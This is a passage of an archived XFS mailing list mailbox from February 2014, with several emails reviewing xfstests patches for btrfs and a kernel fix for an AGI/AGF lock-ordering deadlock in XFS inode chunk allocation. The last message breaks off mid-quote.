Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id DC8AA7F50 for ; Mon, 10 Feb 2014 15:39:50 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id C262F8F8037 for ; Mon, 10 Feb 2014 13:39:50 -0800 (PST) X-ASG-Debug-ID: 1392068388-04cb6c6de325a570001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id B3AGMdmY4B6X7gxY for ; Mon, 10 Feb 2014 13:39:48 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AqUPAFZG+VJ5LGaB/2dsb2JhbABZgww4gwamOQORLIVQgRYXdIIlAQEFOhwjEAgDFQMJJQ8FJQMhE4gEyUsXFo5nB4Q4BJgqgTOQboNBKA Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail06.adl6.internode.on.net with ESMTP; 11 Feb 2014 08:09:47 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WCyZs-0003Kw-4X; Tue, 11 Feb 2014 08:39:44 +1100 Date: Tue, 11 Feb 2014 08:39:44 +1100 From: Dave Chinner To: Wang Shilong Cc: xfs@oss.sgi.com, linux-btrfs@vger.kernel.org, Wang Shilong Subject: Re: [PATCH] xfstests: btrfs/004: fix to make test really work Message-ID: <20140210213944.GT13647@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfstests: btrfs/004: fix to make test really work References: <1392034256-2412-1-git-send-email-wangshilong1991@gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1392034256-2412-1-git-send-email-wangshilong1991@gmail.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1392068388 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145004 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Feb 10, 2014 at 08:10:56PM +0800, Wang Shilong wrote: > From: Wang Shilong > > So i was wandering why test 004 could pass my previous wrong > kernel patch while it defenitely should not. > > By some debugging, i found here perl script is wrong, we did not > filter out anything and this unit test did not work acutally.so > it came out we will never fail this test. > > Signed-off-by: Wang Shilong > --- > tests/btrfs/004 | 7 +++---- > 1 file changed, 3 insertions(+), 4 deletions(-) > mode change 100755 => 100644 tests/btrfs/004 > > diff --git a/tests/btrfs/004 b/tests/btrfs/004 > old mode 100755 > new mode 100644 > index 14da9f1..17a6e34 > --- a/tests/btrfs/004 > +++ b/tests/btrfs/004 > @@ -57,10 +57,9 @@ _require_command "/usr/sbin/filefrag" > > rm -f $seqres.full > > -FILEFRAG_FILTER='if (/, blocksize (\d+)/) {$blocksize = $1; next} ($ext, '\ > -'$logical, $physical, $expected, $length, $flags) = (/^\s*(\d+)\s+(\d+)'\ > -'\s+(\d+)\s+(?:(\d+)\s+)?(\d+)\s+(.*)/) or next; $flags =~ '\ > -'/(?:^|,)inline(?:,|$)/ and next; print $physical * $blocksize, "#", '\ > +FILEFRAG_FILTER='if (/blocks of (\d+) bytes/) {$blocksize = $1; next} ($ext, '\ > +'$logical, $physical, $length) = (/^\s*(\d+):\s+(\d+)..\s+\d+:'\ > +'\s+(\d+)..\s+\d+:\s+(\d+):/) or next; print $physical * $blocksize, "#", '\ > '$length * $blocksize, "#", $logical * $blocksize, " "' Oh, boy, who allowed that mess to pass review? Please format this in a readable manner while you are changing it. FILEFRAG_FILTER=' if (/blocks of (\d+) bytes/) { \ $blocksize = $1; \ next; \ } ..... Cheers, Dave. -- Dave Chinner david@fromorbit.com From koen.de.wit@oracle.com Mon Feb 10 15:40:28 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 1E9697F50 for ; Mon, 10 Feb 2014 15:40:28 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 8BF77AC00E for ; Mon, 10 Feb 2014 13:40:27 -0800 (PST) X-ASG-Debug-ID: 1392068425-04cb6c6de025a5c0001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id BHtSiiHIURJvTQeJ (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 10 Feb 2014 13:40:25 -0800 (PST) X-Barracuda-Envelope-From: koen.de.wit@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from ucsinet22.oracle.com (ucsinet22.oracle.com [156.151.31.94]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id s1ALeHOE007965 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 10 Feb 2014 21:40:18 GMT Received: from userz7021.oracle.com (userz7021.oracle.com [156.151.31.85]) by ucsinet22.oracle.com (8.14.5+Sun/8.14.5) with ESMTP id s1ALeH8V004084 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Mon, 10 Feb 2014 21:40:17 GMT Received: from abhmp0017.oracle.com (abhmp0017.oracle.com [141.146.116.23]) by userz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s1ALeGgJ007789; Mon, 10 Feb 2014 21:40:16 GMT Received: from [192.168.0.163] (/178.116.134.76) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Mon, 10 Feb 2014 13:40:16 -0800 Message-ID: <52F9473E.4000209@oracle.com> Date: Mon, 10 Feb 2014 22:40:14 +0100 From: Koen De Wit Organization: Oracle Corporation User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Dave Chinner , jbacik@fb.com CC: xfs@oss.sgi.com, linux-btrfs@vger.kernel.org Subject: Re: [PATCH] xfstests: Btrfs: add test for large metadata blocks References: <1391793285-935-1-git-send-email-koen.de.wit@oracle.com> <20140207224934.GH13647@dastard> <52F5EB3B.5030902@oracle.com> <20140209230259.GK13647@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfstests: Btrfs: add test for large metadata blocks In-Reply-To: <20140209230259.GK13647@dastard> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Source-IP: ucsinet22.oracle.com [156.151.31.94] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1392068425 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145004 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 02/10/2014 12:02 AM, Dave Chinner wrote: > On Sat, Feb 08, 2014 at 09:30:51AM +0100, Koen De Wit wrote: >> On 02/07/2014 11:49 PM, Dave Chinner wrote: >>> On Fri, Feb 07, 2014 at 06:14:45PM +0100, Koen De Wit wrote: >>> echo -n "$xattr_value" | md5sum >>> ${ATTR_PROG} -Lq -s attr_$char -V $xattr_value $file >>> ${ATTR_PROG} -Lq -g attr_$char $file | md5sum >>> ${ATTR_PROG} -Lq -g attr_$char $lnkfile | md5sum >>> >>> is all that neds to be done here. >> The problem with this is that the length of the output will depend on the page size. The code above runs for every valid leafsize, which can be any multiple of the page size up to 64KB, as defined in the loop initialization: >> for leafsize in `seq $pagesize_kb $pagesize_kb 64`; do > That's only a limit on the mkfs leafsize parameter, yes? An the > limiation is that the leaf size can't be smaller than page size? > > So really, the attribute sizes that are being tested are independent > of the mkfs parameters being tested. i.e: > > for attrsize in `seq 4 4 64`; do > if [ $attrsize -lt $pagesize ]; then > leafsize=$pagesize > else > leafsize=$attrsize > fi > $BTRFS_MKFS_PROG -l $leafsize $SCRATCH_DEV > > And now the test executes a fixed loop, testing the same attribute > sizes on all the filesystems under test. i.e. the attribute sizes > being tested are *independent* of the mkfs parameters being tested. > Always test the same attribute sizes, the mkfs parameters simply > vary by page size. OK, thanks for the suggestion! I implemented it like this in v3, I just changed the calculation of the leafsize because it must be a multiple of the pagesize. (A leafsize of 12KB is not valid for systems with 8KB pages.) >>>> +_scratch_unmount + +# Some illegal leafsizes + +_scratch_mkfs >>>> -l 0 2>> $seqres.full +echo $? >>> Same again - you are dumping the error output into a different >>> file, then detecting the error manually. pass the output of >>> _scratch_mkfs through a filter, and let errors cause golden >>> output mismatches. >> I did this to make the golden output not depend on the output of >> mkfs.btrfs, inspired by >> http://oss.sgi.com/cgi-bin/gitweb.cgi?p=xfs/cmds/xfstests.git;a=commit;h=fd7a8e885732475c17488e28b569ac1530c8eb59 >> and >> http://oss.sgi.com/cgi-bin/gitweb.cgi?p=xfs/cmds/xfstests.git;a=commit;h=78d86b996c9c431542fdbac11fa08764b16ceb7d >> However, in my opinion the test should simply be updated if the >> output of mkfs.btrfs changes, so I agree with you and I fixed this >> in v2. > While I agree with the sentiment, I'm questioning the > implementation. i.e. you've done this differently to every other > test that needs to check for failures. run_check woul dbe just > fine, as would be simply filtering the output of mkfs. run_check will make the test fail if the return code differs from 0, and Josef brought up an example scenario (MKFS_OPTIONS="-O skinny-metadata") where mkfs.btrfs produces additional output. In v3, I implemented the failure check similar to btrfs/022: _scratch_mkfs -l $1 >>$seqres.full 2>&1 [ $? -ne 0 ] || _fail "'$1' is an illegal value for the" \ "leafsize option, mkfs should have failed." Is this the right way? Thanks, Koen. From david@fromorbit.com Mon Feb 10 16:01:44 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 9C2AD7F3F for ; Mon, 10 Feb 2014 16:01:44 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 664A7304043 for ; Mon, 10 Feb 2014 14:01:41 -0800 (PST) X-ASG-Debug-ID: 1392069698-04bdf0121d26d6a0001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id VXxTI7HSuDvFEz6x for ; Mon, 10 Feb 2014 14:01:39 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AuwHAARL+VJ5LGaB/2dsb2JhbABZgwyDPrdphVCBFhd0giUBAQQBJxMNDyMFCwgDDgoJJQ8FJQMhE4d9B61km3QXFo5nB4Q4BJRCg2iSIYNBKIEsBA Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail06.adl6.internode.on.net with ESMTP; 11 Feb 2014 08:31:38 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WCyv1-0003OS-06; Tue, 11 Feb 2014 09:01:35 +1100 Date: Tue, 11 Feb 2014 09:01:34 +1100 From: Dave Chinner To: Brian Foster Cc: xfs@oss.sgi.com Subject: Re: [PATCH] xfs: avoid AGI/AGF deadlock scenario for inode chunk allocation Message-ID: <20140210220134.GU13647@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfs: avoid AGI/AGF deadlock scenario for inode chunk allocation References: <1392042807-41697-1-git-send-email-bfoster@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1392042807-41697-1-git-send-email-bfoster@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1392069698 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145005 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Feb 10, 2014 at 09:33:27AM -0500, Brian Foster wrote: > The inode chunk allocation path can lead to deadlock conditions if > a transaction is dirtied with an AGF (to fix up the freelist) for > an AG that cannot satisfy the actual allocation request. This code > path is written to try and avoid this scenario, but it can be > reproduced by running xfstests generic/270 in a loop on a 512b fs. Yup, I've been seeing this problem for a few months now. Frequently enough that I expunged 269 and 270 from my 1k block size test machines. I simply hadn't found the time to debug it... > An example situation is: > - process A attempts an inode allocation on AG 3, modifies > the freelist, fails the allocation and ultimately moves on to > AG 0 with the AG 3 AGF held > - process B is doing a free space operation (i.e., truncate) and > acquires the AG 0 AGF, waits on the AG 3 AGF > - process A acquires the AG 0 AGI, waits on the AG 0 AGF (deadlock) Yup, the "dirty an AGF then fail to allocate" is the typical cause of shutdowns due to cancelling a dirty create transaction because of ENOSPC. I'm not surprised that we can trigger deadlocks like this, either. > The problem here is that process A acquired the AG 3 AGF while > moving on to AG 0 (and releasing the AG 3 AGI with the AG 3 AGF > held). Right, AGF/AGI locking order is ascending AG order only. > xfs_dialloc() makes one pass through each of the AGs when > attempting to allocate an inode chunk. The expectation is a clean > transaction if a particular AG cannot satisfy the allocation > request. xfs_ialloc_ag_alloc() is written to support this through > use of the minalignslop allocation args field. *nod* > When using the agi->agi_newino optimization, we attempt an exact > bno allocation request based on the location of the previously > allocated chunk. minalignslop is set to inform the allocator that > we will require alignment on this chunk, and thus to not allow the > request for this AG if the extra space is not available. Suppose > that the AG in question has just enough space for this request, but > not at the requested bno. Ok, so an exact (XFS_ALLOCTYPE_THIS_BNO) allocation fails? > > xfs_alloc_fix_freelist() will proceed as > normal as it determines the request should succeed, and thus it is > allowed to modify the agf. xfs_alloc_ag_vextent() ultimately fails > because the requested bno is not available. *nod* > In response, the caller > moves on to a NEAR_BNO allocation request for the same AG. The > alignment is set, but the minalignslop field is never reset. This > increases the overall requirement of the request from the first > attempt. If this delta is the difference between allocation success > and failure for the AG, xfs_alloc_fix_freelist() rejects this > request outright the second time around and causes the allocation > request to unnecessarily fail for this AG. Yup, that looks like a bug. > To address this situation, reset the minalignslop field when we > transition from a THIS_BNO to a NEAR_BNO allocation request in > xfs_ialloc_ag_alloc(). > > [NOTE: It appears at first glance that the optimized agi_newino > allocation case is problematic in that it doesn't consider use of > mp->m_sinoalign, if enabled. If the m_sinoalign allocation fails, > however, we revert back to normal cluster alignment, which I think > makes the overall sequence safe.] The agi_newino allocation case is not meant to stripe align the new inode chunk. What it is meant to do is cluster inode allocation within a stripe. i.e. the first allocation will be stripe aligned, which sets newino. then newino will move to the adjacent cluster, and we'll try to allocate that. i.e. we try to densely pack inodes within a stripe unit before we spread them out onto other stripe units. Hence when you are doing large file workloads, inodes get clustered into a single stripe unit rather than being distributed around between files.... > Signed-off-by: Brian Foster > --- > fs/xfs/xfs_ialloc.c | 2 ++ > 1 file changed, 2 insertions(+) > > diff --git a/fs/xfs/xfs_ialloc.c b/fs/xfs/xfs_ialloc.c > index 5d7f105..584daf0 100644 > --- a/fs/xfs/xfs_ialloc.c > +++ b/fs/xfs/xfs_ialloc.c > @@ -382,6 +382,8 @@ xfs_ialloc_ag_alloc( > isaligned = 1; > } else > args.alignment = xfs_ialloc_cluster_alignment(&args); > + args.minalignslop = 0; > + > /* > * Need to figure out where to allocate the inode blocks. > * Ideally they should be spaced out through the a.g. I think I'd prefer that this is cleared immediately after the allocation that required it, regardless of whether it succeeds or not. i.e. confine the minalignslop context to that specific allocation call, and hence if we modify this code in future we don't have a landmine to trip on. It also needs a comment to explain why it needs to be cleared.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Mon Feb 10 16:04:09 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id E6B497F3F for ; Mon, 10 Feb 2014 16:04:09 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id B0F0D8F8035 for ; Mon, 10 Feb 2014 14:04:06 -0800 (PST) X-ASG-Debug-ID: 1392069844-04bdf0122026d7a0001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id 7a1BWpapSTvAlvFX for ; Mon, 10 Feb 2014 14:04:04 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AuwHAG1M+VJ5LGaB/2dsb2JhbABZgwyDPrdphVCBFhd0giUBAQU6HCMQCAMYCSUPBSUDIROIBMlaFxaOZweEOAEDmCqSIYNBKA Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail06.adl6.internode.on.net with ESMTP; 11 Feb 2014 08:34:03 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WCyxM-0003PA-Gc; Tue, 11 Feb 2014 09:04:00 +1100 Date: Tue, 11 Feb 2014 09:04:00 +1100 From: Dave Chinner To: Koen De Wit Cc: xfs@oss.sgi.com, linux-btrfs@vger.kernel.org Subject: Re: [PATCH v3] xfstests: Btrfs: add test for large metadata blocks Message-ID: <20140210220400.GV13647@dastard> X-ASG-Orig-Subj: Re: [PATCH v3] xfstests: Btrfs: add test for large metadata blocks References: <1392068362-14049-1-git-send-email-koen.de.wit@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1392068362-14049-1-git-send-email-koen.de.wit@oracle.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1392069844 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145005 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Feb 10, 2014 at 10:39:22PM +0100, Koen De Wit wrote: > Tests Btrfs filesystems with all possible metadata block sizes, by > setting large extended attributes on files. > > Signed-off-by: Koen De Wit .... > + > +_test_illegal_leafsize() { > + _scratch_mkfs -l $1 >>$seqres.full 2>&1 > + [ $? -ne 0 ] || _fail "'$1' is an illegal value for the" \ > + "leafsize option, mkfs should have failed." > +} You just re-implemented run_check.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Mon Feb 10 16:13:22 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 645C67F3F for ; Mon, 10 Feb 2014 16:13:22 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 374FC8F8035 for ; Mon, 10 Feb 2014 14:13:22 -0800 (PST) X-ASG-Debug-ID: 1392070400-04bdf0122026db80001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id 7wBRki9Eecvqn5TU for ; Mon, 10 Feb 2014 14:13:20 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AuwHAL5O+VJ5LGaB/2dsb2JhbABZgwyDPrdphVCBFhd0giUBAQU6HCMQCAMOBwMJJQ8FJQMhE4gEyV8XFo5nB4Q4BJgqik+HUoFvgVIo Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail06.adl6.internode.on.net with ESMTP; 11 Feb 2014 08:43:02 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WCz63-0003Q1-3L; Tue, 11 Feb 2014 09:12:59 +1100 Date: Tue, 11 Feb 2014 09:12:59 +1100 From: Dave Chinner To: Namjae Jeon Cc: viro@zeniv.linux.org.uk, bpm@sgi.com, tytso@mit.edu, adilger.kernel@dilger.ca, jack@suse.cz, mtk.manpages@gmail.com, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, Namjae Jeon , Ashish Sangwan Subject: Re: [PATCH RESEND 1/10] fs: Add new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate Message-ID: <20140210221259.GW13647@dastard> X-ASG-Orig-Subj: Re: [PATCH RESEND 1/10] fs: Add new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate References: <1391319821-3135-1-git-send-email-linkinjeon@gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1391319821-3135-1-git-send-email-linkinjeon@gmail.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1392070400 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145005 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Sun, Feb 02, 2014 at 02:43:41PM +0900, Namjae Jeon wrote: > From: Namjae Jeon > > Add new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate. > updated detailed semantics in comments. > > Signed-off-by: Namjae Jeon > Signed-off-by: Ashish Sangwan Looks OK to me. Reviewed-by: Dave Chinner -- Dave Chinner david@fromorbit.com From bfoster@redhat.com Mon Feb 10 16:39:46 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 006DA7F3F for ; Mon, 10 Feb 2014 16:39:45 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id DBBDE8F804B for ; Mon, 10 Feb 2014 14:39:45 -0800 (PST) X-ASG-Debug-ID: 1392071984-04cb6c6de025bc70001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id e2GGRFNJhVq11f6Y for ; Mon, 10 Feb 2014 14:39:44 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx12.intmail.prod.int.phx2.redhat.com (int-mx12.intmail.prod.int.phx2.redhat.com [10.5.11.25]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1AMdg33018198 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 10 Feb 2014 17:39:42 -0500 Received: from laptop.bfoster (vpn-48-198.rdu2.redhat.com [10.10.48.198]) by int-mx12.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s1AMdfHY007618 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO); Mon, 10 Feb 2014 17:39:41 -0500 Message-ID: <52F9552C.7020001@redhat.com> Date: Mon, 10 Feb 2014 17:39:40 -0500 From: Brian Foster User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH] xfs: avoid AGI/AGF deadlock scenario for inode chunk allocation References: <1392042807-41697-1-git-send-email-bfoster@redhat.com> <20140210220134.GU13647@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfs: avoid AGI/AGF deadlock scenario for inode chunk allocation In-Reply-To: <20140210220134.GU13647@dastard> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.25 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1392071984 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 02/10/2014 05:01 PM, Dave Chinner wrote: > On Mon, Feb 10, 2014 at 09:33:27AM -0500, Brian Foster wrote: >> The inode chunk allocation path can lead to deadlock conditions if >> a transaction is dirtied with an AGF (to fix up the freelist) for >> an AG that cannot satisfy the actual allocation request. This code >> path is written to try and avoid this scenario, but it can be >> reproduced by running xfstests generic/270 in a loop on a 512b fs. > > Yup, I've been seeing this problem for a few months now. Frequently > enough that I expunged 269 and 270 from my 1k block size test > machines. I simply hadn't found the time to debug it... > Yeah, I've been doing something similar here and had spent a few hours here and there to try and narrow in on it. >> An example situation is: >> - process A attempts an inode allocation on AG 3, modifies >> the freelist, fails the allocation and ultimately moves on to >> AG 0 with the AG 3 AGF held >> - process B is doing a free space operation (i.e., truncate) and >> acquires the AG 0 AGF, waits on the AG 3 AGF >> - process A acquires the AG 0 AGI, waits on the AG 0 AGF (deadlock) > > Yup, the "dirty an AGF then fail to allocate" is the typical cause > of shutdowns due to cancelling a dirty create transaction because of > ENOSPC. I'm not surprised that we can trigger deadlocks like this, > either. > >> The problem here is that process A acquired the AG 3 AGF while >> moving on to AG 0 (and releasing the AG 3 AGI with the AG 3 AGF >> held). > > Right, AGF/AGI locking order is ascending AG order only. > >> xfs_dialloc() makes one pass through each of the AGs when >> attempting to allocate an inode chunk. The expectation is a clean >> transaction if a particular AG cannot satisfy the allocation >> request. xfs_ialloc_ag_alloc() is written to support this through >> use of the minalignslop allocation args field. > > *nod* > >> When using the agi->agi_newino optimization, we attempt an exact >> bno allocation request based on the location of the previously >> allocated chunk. minalignslop is set to inform the allocator that >> we will require alignment on this chunk, and thus to not allow the >> request for this AG if the extra space is not available. Suppose >> that the AG in question has just enough space for this request, but >> not at the requested bno. > > Ok, so an exact (XFS_ALLOCTYPE_THIS_BNO) allocation fails? > I didn't dig all the way down to precisely characterize the state of things at the point of allocation failure, but I observed a pattern of a process attempting the THIS_BNO request, which passed through the fix_freelist code but ultimately fails (in terms of returning a NULLFSBLOCK). It then attempts the NEAR_BNO request which fails in the fix_freelist code. Some instrumentation down in the fix_freelist code confirmed that the latter failure occurred because the request sizes had changed from the previous invocation (for which it apparently allowed the agfl to be modified and thus agf locked). >> >> xfs_alloc_fix_freelist() will proceed as >> normal as it determines the request should succeed, and thus it is >> allowed to modify the agf. xfs_alloc_ag_vextent() ultimately fails >> because the requested bno is not available. > > *nod* > >> In response, the caller >> moves on to a NEAR_BNO allocation request for the same AG. The >> alignment is set, but the 